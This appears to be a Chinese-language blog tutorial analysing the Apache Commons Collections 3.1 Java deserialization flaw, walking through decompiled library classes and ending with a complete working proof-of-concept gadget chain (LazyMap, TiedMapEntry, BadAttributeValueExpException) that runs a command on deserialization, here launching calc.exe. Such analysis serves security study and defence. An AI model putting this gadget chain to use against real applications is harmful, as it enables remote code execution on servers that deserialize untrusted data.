Apache Commons Collections反序列化漏洞
环境搭建
通过Maven搭建就可以,该漏洞存在于Commons-Collections的3.21以下,这里我取3.1版本,IDE为Elipse。关于Elipse下的Maven安装。
新建一个Maven
webApp项目,其中的配置文件pom.xml如下所示,增加commons-collections的dependency选项就可以了,这样Maven就会在本地的仓库中检查是否有该依赖的包,没有就会去中心仓库下载到你设置的仓库位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>Common-Collections</groupId> <artifactId>Common-Collections</artifactId> <packaging>war</packaging> <version>0.0.1-SNAPSHOT</version> <name>Common-Collections Maven Webapp</name> <url>http://maven.apache.org</url> <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies> <build> <finalName>Common-Collections</finalName> </build> </project>
|
##
代码分析
这里使用jd-gui(Java Decompiler)
来对Maven下载到仓库里的jar文件进行反编译并分析。
### 引入
这个包使用来干什么的呢?可以认为是对常用的Java集合类进行了一个补充,如实现了Collection接口的子类:List,Queue等,此外定义了一些新的集合类,如Bag,BidiMap,同时拥有新版本的原有集合,比如FastArrayList,也提供了utils类,用于我们常用的集合操作,可以大大方便我们的日常编程。而这次的漏洞原因在于一个叫做InvokerTransformer
的类中。该类的结构如下:
1
| public class InvokerTransformer implements Transformer, Serializable
|
可以看到该类实现了Transformer接口,也实现了Sericalizable接口。前者定义如下:
1 2 3
| public abstract interface Transformer { public abstract Object transform(Object paramObject); }
|
只有一个抽象方法transform,接受一个Object类型参数并返回一个Object类型参数。下来去看该类中该抽象方法的实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
|
注意到该函数在传入的参数非空的情况下,会使用java的反射机制,获取传入的类的类型,并将iParamTypes
类型的参数传入,选择input
所属类的iMethodName
方法。而IMethodName,IparamTypes这两个变量是实例化时就已经设置好了的:
1 2 3 4 5 6 7 8 9 10 11 12 13
| private InvokerTransformer(String methodName) { this.iMethodName = methodName; this.iParamTypes = null; this.iArgs = null; } public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
|
这就为调用任何对象的方法提供了可能性。 ### 代码审计
但是单纯的靠这个tranform方法达到目的还不行,我们需要一个能够多次调用方法并且每次都返回一个对象,作为下一次调用的参数的办法。在Common-Collections中也提供了实现这样功能的类---ChainedTransformer
:
1
| public class ChainedTransformer implements Transformer, Serializable
|
该类中有一个Transformer
类型的数组:
1
| private final Transformer[] iTransformers;
|
该类中对Transformer接口中的tansform方法的实现如下:
1 2 3 4 5 6 7
| public Object transform(Object object) { for (int i = 0; i < this.iTransformers.length; i++) { object = this.iTransformers[i].transform(object); } return object; }
|
可以看到是一个递归的形式,每次会调用iTranformers
这个数组中的每一个Transformer
类型变量的transform方法。下面是一个小Demo,演示如何使用该类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package demo;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo1{ public static void main(String[] args) { Transformer[] transformers = new Transformer[] { new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"C:\\Windows\\System32\\calc.exe"}) };
Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(Runtime.getRuntime()); }
}
|
之后就会弹出计算器程序了。
POC的构造
这里分析构造POC的一种方法,分别使用了LazyMap类和TransformedMap类。
### 构造POC原理 该类的定义如下:
1
| public class LazyMap extends AbstractMapDecorator implements Map, Serializable
|
该类继承了AbstactMapDecorator这个类,下面是这个类的描述: 1 2 3 4 5 6 7 8 9 10 11 12 13
| public abstract class AbstractMapDecorator implements Map { protected transient Map map; protected AbstractMapDecorator() {} public AbstractMapDecorator(Map map) { if (map == null) { throw new IllegalArgumentException("Map must not be null"); } this.map = map; }
|
该类是一个抽象类,也实现了Map接口,它的构造方法中会保存一个map类型的对象。下面来仔细看一下LazyMap中提供的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; }
public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } return this.map.get(key); }
|
可以看到在LazyMap中的get方法中,会返回指定的传入的key
值所对应的value值,如果在维护的map中没有找到这个key
所对应的键值,就会调用本类的factory的transform方法来为这个key
在表中创建一个键值。
factory这个变量属于Transformer接口类,传入时当然先要具体实例化,但是具体使用该接口的哪一个子类来实例化对象,这是我们可以控制的。前面我们已经分析了ChainedTransformer这个类可以触发RCE,并且这个类实现了Transformer(public class ChainedTransformer implements Transformer, Serializable
)所以我们可以从这里入手。现在的问题就变为了如何自动的来调用这个get()方法。
这里我们可以找到TiedMapEntry
这个类,该类的定义以及利用点如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class TiedMapEntry implements Map.Entry, KeyValue, Serializable
public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; }
public String toString() { return getKey() + "=" + getValue(); }
public Object getValue() { return this.map.get(this.key); }
|
到这里就很明了了,传入LazyMap类的对象,并实例化TiedMapEntry一个对象,调用它的toString()方法(将该对象当做一个字符串使用的时候就会自动调用toString方法),这样就会调用我们传入的LazyMap类对象的get方法,紧接着上面的分析,如果不存在要这个key值,就会自行创建一个对应的键值,并将这个键值对存入map中。
到此get()方法的自动调用问题解决了,最后的问题就是怎么自动调用toString方法。这里找到了BadAttributeValueExpException
这个类,其中有这么一个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
|
可以看到在本类中会调用传进来的ois(ObjectInputStream)对象,并调用了他的readFields()方法。下面试Getfield的定义以及他的get方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
public static abstract class GetField
private class GetFieldImpl extends GetField {
public Object get(String name, Object val) throws IOException { int off = getFieldOffset(name, Object.class); if (off >= 0) { int objHandle = objHandles[off]; handles.markDependency(passHandle, objHandle); return (handles.lookupException(objHandle) == null) ? objVals[off] : null; } else { return val; } } }
|
可以看到它会在反序列化后取出val对应的键值。最终得出的攻击链思路就是将BadAttributeValueExpException进行序列化,其中的val值设置为TiedMapEntry对象。
POC
下面给出基于上面分析的POC代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class PoC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"C:\\Windows\\System32\\calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "float");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valField = poc.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(poc, entry);
File f = new File("MalObject"); FileOutputStream fos = new FileOutputStream(f); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(poc); oos.close();
FileInputStream fis = new FileInputStream(f); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); ois.close(); } }
|
参考学习
https://www.jianshu.com/p/e922ea492ccd
https://www.cnblogs.com/pengyan-9826/p/7767070.html
https://p0sec.net/index.php/archives/121/
https://xz.aliyun.com/t/4558#toc-0
v1.5.2